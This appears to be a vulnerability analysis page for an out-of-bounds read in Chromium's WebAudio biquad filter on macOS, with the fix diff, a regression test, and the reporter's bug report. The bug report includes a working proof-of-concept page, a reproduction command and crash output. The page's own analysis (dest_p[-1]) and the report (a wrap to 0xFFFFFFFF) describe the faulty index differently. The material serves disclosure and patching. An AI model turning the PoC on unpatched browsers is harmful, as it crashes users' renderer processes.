Medium watch CVSS 5.3 chrome OOB 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
5.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in WebAudio
DescriptionOut of bounds read in WebAudio
ComponentWebAudio
Bug ClassOOB
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker485397283
Fix commit63799115a980 (chromium/src) +89/-33
CWECWE-125 (Out-of-bounds read)
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Reported2026-02-18 (per vendor advisory)
Fix landed2026-02-24 (public git)
Disclosed2026-04-07
Patch gap42 days — fix public in source before the advisory

Background

`Biquad`
WebAudio’s biquad filter DSP primitive; on macOS it uses a vecLib-accelerated path (ProcessFast) guarded by BUILDFLAG(IS_MAC).
Filter history (`x1_`, `x2_`, `y1_`, `y2_`)
the last two input and output samples the filter must carry across processing blocks for correct recursive filtering.
`input_buffer_` / `output_buffer_`
cached arrays allocated with two extra leading samples that hold this history; indices [0] and [1] are the history slots.
Configurable render quantum (`renderSizeHint`)
a newer WebAudio feature letting an OfflineAudioContext choose a render-block size, so frames_to_process can be as small as 1 or very large.

Root Cause Analysis

On the macOS fixed-coefficient (non-automation) path, after calling ProcessFast the code recovered the last two output samples by indexing the destination block: y1_ = dest_p[frames_to_process - 1] and y2_ = dest_p[frames_to_process - 2]. This silently assumed frames_to_process >= 2, which held for the historically fixed 128-frame render quantum but not once the quantum became configurable via renderSizeHint. With a render quantum of 1, frames_to_process - 2 evaluates to dest_p[-1], an out-of-bounds read before the start of the destination buffer.

The fix reads the last outputs from the always-valid cached history buffer instead (y1_ = output_buffer_[1], y2_ = output_buffer_[0]), and similarly sources inputs from input_buffer_ rather than computing pointers, removing the dependence on frames_to_process for these accesses. The parallel change rewriting source_p[frames_to_process - 2 + 2] to source_p[frames_to_process] is an algebraically identical cleanup, not a behavioral fix.

Key insight
The core mistake was deriving the output history from dest_p[frames_to_process - 2], which underflows to a negative index when the configurable render quantum is smaller than 2; the fix reads that history from the dedicated output_buffer_ slots that are always valid.

Attack Path

  1. Create a small-quantum context Web content on macOS constructs an OfflineAudioContext with renderSizeHint: 1 (minimum), as the shipped regression test does.
  2. Enter the fast path It adds a BiquadFilterNode with no automation so HasSampleAccurateValues() is false, selecting the optimized macOS ProcessFast branch, and connects a source (e.g. OscillatorNode).
  3. Render startRendering() processes a block with frames_to_process == 1, so the history-recovery read dest_p[frames_to_process - 2] indexes dest_p[-1].
  4. Out-of-bounds read The filter reads a sample before the destination buffer, the OOB read the advisory describes; it is used to seed filter state, not shown by the diff to yield a disclosure primitive.

Impact Assessment

Web content in a stock build on macOS can trigger this out-of-bounds read in the renderer process simply by rendering a biquad filter with a sub-2 configurable render quantum; it requires no special flag beyond the renderSizeHint feature and no user gesture. The vendor advisory rates it medium (out-of-bounds read in WebAudio) and does not report in-the-wild exploitation; any information disclosure beyond the read itself is (inferred).

Changed Functions

FunctionChangeNotes
for
third_party/blink/renderer/platform/audio/biquad.cc
modified

Files Changed

  • third_party/blink/renderer/platform/audio/biquad.cc
  • third_party/blink/web_tests/VirtualTestSuites
  • third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html

Audit Directions

  • Index expressions assuming a minimum frame count
    search WebAudio DSP for frames_to_process - N indexing that can underflow now that the render quantum is configurable.
  • Pointer arithmetic vs. cached state
    flag places that recompute history from the live source/dest block instead of using the dedicated history buffers; the two can diverge at boundary sizes.
  • Platform-specific fast paths
    review BUILDFLAG(IS_MAC) (and other per-platform) accelerated branches for size assumptions that the portable path does not share.
From 63799115a9800826e2162aef62166ee562479107 Mon Sep 17 00:00:00 2001
From: Michael Wilson <[email protected]>
Date: Tue, 24 Feb 2026 10:26:15 -0800
Subject: [PATCH] Update Biquad for configurable render quantum

Use cached values directly for the Mac path instead of doing pointer
arithmetic, and also add a smoke test.

Bug: 485397283
Change-Id: I5194a8433ed4484e445b0dee7f3586a5baa89be4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7596165
Reviewed-by: Hongchan Choi <[email protected]>
Reviewed-by: Ian Kilpatrick <[email protected]>
Commit-Queue: Michael Wilson <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1589538}
---

diff --git a/third_party/blink/renderer/platform/audio/biquad.cc b/third_party/blink/renderer/platform/audio/biquad.cc
index f37780c..9d226dc 100644
--- a/third_party/blink/renderer/platform/audio/biquad.cc
+++ b/third_party/blink/renderer/platform/audio/biquad.cc
@@ -132,16 +132,13 @@
     // documented so it's not clear how to update them anyway.
   } else {
 #if BUILDFLAG(IS_MAC)
-    double* input_p = input_buffer_.Data();
-    double* output_p = output_buffer_.Data();
-
     // Set up filter state.  This is needed in case we're switching from
     // filtering with variable coefficients (i.e., with automations) to
     // fixed coefficients (without automations).
-    input_p[0] = x2_;
-    UNSAFE_TODO(input_p[1]) = x1_;
-    output_p[0] = y2_;
-    UNSAFE_TODO(output_p[1]) = y1_;
+    input_buffer_[0] = x2_;
+    UNSAFE_TODO(input_buffer_[1]) = x1_;
+    output_buffer_[0] = y2_;
+    UNSAFE_TODO(output_buffer_[1]) = y1_;
 
     // Use vecLib if available
     ProcessFast(source_p, dest_p, frames_to_process);
@@ -151,11 +148,12 @@
     // automation which needs the history to continue correctly.  Because
     // sourceP and destP can be the same block of memory, we can't read from
     // sourceP to get the last inputs.  Fortunately, processFast has put the
-    // last inputs in input[0] and input[1].
-    x1_ = UNSAFE_TODO(input_p[1]);
-    x2_ = input_p[0];
-    y1_ = UNSAFE_TODO(dest_p[frames_to_process - 1]);
-    y2_ = UNSAFE_TODO(dest_p[frames_to_process - 2]);
+    // last inputs in input_buffer_[0] and input_buffer_[1] and the last outputs
+    // in output_buffer_[0] and output_buffer_[1].
+    x1_ = UNSAFE_TODO(input_buffer_[1]);
+    x2_ = input_buffer_[0];
+    y1_ = UNSAFE_TODO(output_buffer_[1]);
+    y2_ = output_buffer_[0];
 
 #else
     int n = frames_to_process;
@@ -210,12 +208,6 @@
   filter_coefficients[3] = a1_[0];
   filter_coefficients[4] = a2_[0];
 
-  double* input_p = input_buffer_.Data();
-  double* output_p = output_buffer_.Data();
-
-  double* input2p = UNSAFE_TODO(input_p + 2);
-  double* output2p = UNSAFE_TODO(output_p + 2);
-
   // Break up processing into smaller slices (kBiquadBufferSize) if necessary.
 
   int n = frames_to_process;
@@ -224,14 +216,18 @@
     int frames_this_time = n < kBiquadBufferSize ? n : kBiquadBufferSize;
 
     // Copy input to input buffer
-    for (int i = 0; i < frames_this_time; ++i)
-      UNSAFE_TODO(input2p[i]) = *UNSAFE_TODO(source_p++);
+    for (int i = 0; i < frames_this_time; ++i) {
+      UNSAFE_TODO(input_buffer_[i + 2]) = *UNSAFE_TODO(source_p++);
+    }
 
-    ProcessSliceFast(input_p, output_p, filter_coefficients, frames_this_time);
+    ProcessSliceFast(input_buffer_.Data(), output_buffer_.Data(),
+                     filter_coefficients, frames_this_time);
 
     // Copy output buffer to output (converts float -> double).
-    for (int i = 0; i < frames_this_time; ++i)
-      *UNSAFE_TODO(dest_p++) = static_cast<float>(UNSAFE_TODO(output2p[i]));
+    for (int i = 0; i < frames_this_time; ++i) {
+      *UNSAFE_TODO(dest_p++) =
+          static_cast<float>(UNSAFE_TODO(output_buffer_[i + 2]));
+    }
 
     n -= frames_this_time;
   }
@@ -248,10 +244,10 @@
   // m_outputBuffer respectively.  These buffers are allocated (in the
   // constructor) with space for two extra samples so it's OK to access array
   // values two beyond framesToProcess.
-  source_p[0] = UNSAFE_TODO(source_p[frames_to_process - 2 + 2]);
-  UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process - 1 + 2]);
-  dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process - 2 + 2]);
-  UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process - 1 + 2]);
+  source_p[0] = UNSAFE_TODO(source_p[frames_to_process]);
+  UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process + 1]);
+  dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process]);
+  UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process + 1]);
 }
 
 #endif  // BUILDFLAG(IS_MAC)
@@ -259,13 +255,11 @@
 void Biquad::Reset() {
 #if BUILDFLAG(IS_MAC)
   // Two extra samples for filter history
-  double* input_p = input_buffer_.Data();
-  input_p[0] = 0;
-  UNSAFE_TODO(input_p[1]) = 0;
+  input_buffer_[0] = 0;
+  UNSAFE_TODO(input_buffer_[1]) = 0;
 
-  double* output_p = output_buffer_.Data();
-  output_p[0] = 0;
-  UNSAFE_TODO(output_p[1]) = 0;
+  output_buffer_[0] = 0;
+  UNSAFE_TODO(output_buffer_[1]) = 0;
 
 #endif
   x1_ = x2_ = y1_ = y2_ = 0;
diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites
index f635d60..10b6282 100644
--- a/third_party/blink/web_tests/VirtualTestSuites
+++ b/third_party/blink/web_tests/VirtualTestSuites
@@ -6242,6 +6242,7 @@
       "Android"
     ],
     "bases": [
+      "webaudio/BiquadFilter/biquad-render-size-hint.html",
       "webaudio/WaveShaper/waveshaper-rendersizehint.html"
     ],
     "args": [
diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
new file mode 100644
index 0000000..305ad005
--- /dev/null
+++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
@@ -0,0 +1,61 @@
+<!doctype html>
+<html>
+  <head>
+    <title>BiquadFilterNode RenderSizeHint</title>
+    <script src="../../resources/testharness.js"></script>
+    <script src="../../resources/testharnessreport.js"></script>
+  </head>
+  <body>
+    <script>
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 3000,
+          renderSizeHint: 1,
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
+
+        await ctx.startRendering();
+
+        // If we reach here, the test passed (no crash).
+        assert_true(true, 'Rendering completed without crashing.');
+      }, 'BiquadFilterNode with minimum renderSizeHint should not crash');
+
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 768000,
+          renderSizeHint: (768000 * 6),
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites
index f635d60..10b6282 100644
--- a/third_party/blink/web_tests/VirtualTestSuites
+++ b/third_party/blink/web_tests/VirtualTestSuites
@@ -6242,6 +6242,7 @@
       "Android"
     ],
     "bases": [
+      "webaudio/BiquadFilter/biquad-render-size-hint.html",
       "webaudio/WaveShaper/waveshaper-rendersizehint.html"
     ],
     "args": [
diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
new file mode 100644
index 0000000..305ad005
--- /dev/null
+++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
@@ -0,0 +1,61 @@
+<!doctype html>
+<html>
+  <head>
+    <title>BiquadFilterNode RenderSizeHint</title>
+    <script src="../../resources/testharness.js"></script>
+    <script src="../../resources/testharnessreport.js"></script>
+  </head>
+  <body>
+    <script>
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 3000,
+          renderSizeHint: 1,
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
+
+        await ctx.startRendering();
+
+        // If we reach here, the test passed (no crash).
+        assert_true(true, 'Rendering completed without crashing.');
+      }, 'BiquadFilterNode with minimum renderSizeHint should not crash');
+
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 768000,
+          renderSizeHint: (768000 * 6),
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
+
+        await ctx.startRendering();
+
+        // If we reach here, the test passed (no crash).
+        assert_true(true, 'Rendering completed without crashing.');
+      }, 'BiquadFilterNode with maximum renderSizeHint should not crash');
+    </script>
+  </body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

Out-of-Bounds Read in Biquad::Process on macOS

Summary

The Biquad::Process method in Chromium’s WebAudio implementation contains a macOS-specific code path that reads filter history from dest_p[frames_to_process - 2], where frames_to_process is uint32_t. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active and renderSizeHint is set to 1, frames_to_process becomes 1, causing the subtraction 1 - 2 to underflow to 0xFFFFFFFF. This results in an out-of-bounds read at approximately 16 GB past the destination buffer, crashing the renderer process with a SIGBUS signal on macOS.

Root Cause

The Biquad class implements IIR filtering for the BiquadFilterNode in the Web Audio API. On macOS, the Process method has an optimized code path that uses Apple’s Accelerate framework (vDSP) for filter computation. After calling ProcessFast to perform the actual filtering, the method saves two history samples from the output buffer for use in the next render quantum:

// third_party/blink/renderer/platform/audio/biquad.cc
void Biquad::Process(const float* source_p,
                     float* dest_p,
                     uint32_t frames_to_process) {
  if (HasSampleAccurateValues()) {
    // ... sample-accurate path (not affected) ...
  } else {
#if BUILDFLAG(IS_MAC)
    double* input_p = input_buffer_.Data();
    double* output_p = output_buffer_.Data();

    input_p[0] = x2_;
    input_p[1] = x1_;
    output_p[0] = y2_;
    output_p[1] = y1_;

    ProcessFast(source_p, dest_p, frames_to_process);

    x1_ = input_p[1];
    x2_ = input_p[0];
    y1_ = dest_p[frames_to_process - 1];
    y2_ = dest_p[frames_to_process - 2];   // underflow when frames_to_process == 1
#else
    // ... non-Mac loop path (not affected) ...
#endif
  }
}

The parameter frames_to_process is declared as uint32_t. When it equals 1, the expression frames_to_process - 2 does not produce -1 as a signed result; instead, the unsigned subtraction wraps around to 0xFFFFFFFF. The subsequent array access dest_p[0xFFFFFFFF] computes a byte offset of 0xFFFFFFFF * sizeof(float) = 0x3FFFFFFFC, approximately 16 GB past the start of the destination buffer. This address is virtually guaranteed to be unmapped, causing a SIGBUS on macOS ARM64.

This macOS-specific path is entered when HasSampleAccurateValues() returns false, which occurs whenever none of the BiquadFilterNode’s audio parameters (frequency, Q, gain, detune) have active automation timelines or incoming audio-rate connections. The BiquadFilterHandler::Process method explicitly sets this state:

// third_party/blink/renderer/modules/webaudio/biquad_filter_handler.cc
} else {
    // No sample-accurate values
    for (const auto& biquad : biquads_) {
        biquad->SetHasSampleAccurateValues(false);
        // ... set fixed filter coefficients ...
    }
}

for (unsigned i = 0; i < biquads_.size(); ++i) {
    biquads_[i]->Process(source_bus->Channel(i)->Data(),
                         destination_bus->Channel(i)->MutableData(),
                         frames_to_process);
}

The frames_to_process value originates from the render quantum size configured via renderSizeHint. When the WebAudioConfigurableRenderQuantum runtime feature is enabled, the user-supplied renderSizeHint is accepted after passing through IsValidRenderQuantumSize, which permits any value from 1 to 6 * sampleRate:

// third_party/blink/renderer/platform/audio/audio_utilities.cc
uint32_t MinRenderQuantumSize() { return 1; }

uint32_t MaxRenderQuantumSize(float sample_rate) {
  return static_cast<uint32_t>(6 * sample_rate);
}

Setting renderSizeHint to 1 passes validation and propagates as frames_to_process = 1 into Biquad::Process, triggering the unsigned integer underflow. The non-macOS code path (the #else branch) uses a signed int n = frames_to_process loop that naturally terminates without out-of-bounds access, so only macOS builds are affected. Note that BUILDFLAG(IS_MAC) applies to all macOS builds regardless of CPU architecture, meaning both Intel and Apple Silicon Macs are vulnerable.

Reproduce

Save the following as poc_biquad_macos_oob_read.html:

<!DOCTYPE html>
<html>
<body>
<script>
async function trigger() {
  try {
    // renderSizeHint = 1: frames_to_process becomes uint32_t(1)
    // In Biquad::Process (macOS vDSP path, HasSampleAccurateValues()==false):
    //   y1_ = dest_p[frames_to_process - 1];  // dest_p[0] - OK
    //   y2_ = dest_p[frames_to_process - 2];  // uint32(1-2) = 0xFFFFFFFF -> OOB read
    const ctx = new OfflineAudioContext({
      numberOfChannels: 1,
      length: 64,
      sampleRate: 44100,
      renderSizeHint: 1
    });

    // BiquadFilterNode with default parameters (lowpass, no automations)
    // No automation -> HasSampleAccurateValues() == false -> enters macOS vDSP path
    const biquad = new BiquadFilterNode(ctx, { type: "lowpass" });

    const osc = new OscillatorNode(ctx, { frequency: 440 });

    osc.connect(biquad);
    biquad.connect(ctx.destination);
    osc.start();

    console.log("[*] renderSizeHint = 1, frames_to_process = 1 (uint32_t)");
    console.log("[*] Biquad::Process macOS path: dest_p[1-2] = dest_p[0xFFFFFFFF]");
    console.log("[*] Expected: heap-buffer-overflow READ on macOS ASAN build");
    console.log("[*] Starting offline rendering...");

    await ctx.startRendering();
    console.log("[!] Rendering completed (unexpected if on macOS ASAN)");
  } catch (e) {
    console.log("[!] Exception: " + e.name + ": " + e.message);
  }
}

trigger();
</script>
</body>
</html>

Download a macOS ARM64 ASAN build of Chromium and run with:

chromium-asan-1586336-mac-arm64/Chromium.app/Contents/MacOS/Chromium \
  --no-sandbox \
  --enable-blink-features=WebAudioConfigurableRenderQuantum \
  poc_biquad_macos_oob_read.html

The --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead.

Output from execution confirms the crash:

Received signal 10 BUS_ADRALN 60340009d47c
 [0x000312433bcc]
 [0x000312407ae8]
 [0x000312433a00]
 [0x00019bfd56a4]
 [0x00032201abfc]
 [0x000322020f40]
 [0x000321f80dc8]
 [0x000321fa05b0]
 [0x000321f9dd50]
 [0x000321f9e1a0]
 [0x00032207f74c]
 [0x00032207e480]
 [0x000322080908]
 [0x0003122ce728]
 [0x000312336280]
 [0x00031233562c]
 [0x0003121b7f2c]
 [0x0003123375e0]
 [0x00031225ca24]
 [0x00030c1ab770]
 [0x000312402218]
 [0x000104d5566c]
 [0x00019bf9bc0c]
 [0x00019bf96b80]
[end of stack trace]

Signal 10 is SIGBUS on macOS, confirming the out-of-bounds read caused by the unsigned integer underflow in Biquad::Process. The renderer process is terminated immediately upon accessing the invalid memory address derived from dest_p[0xFFFFFFFF].

View on issue tracker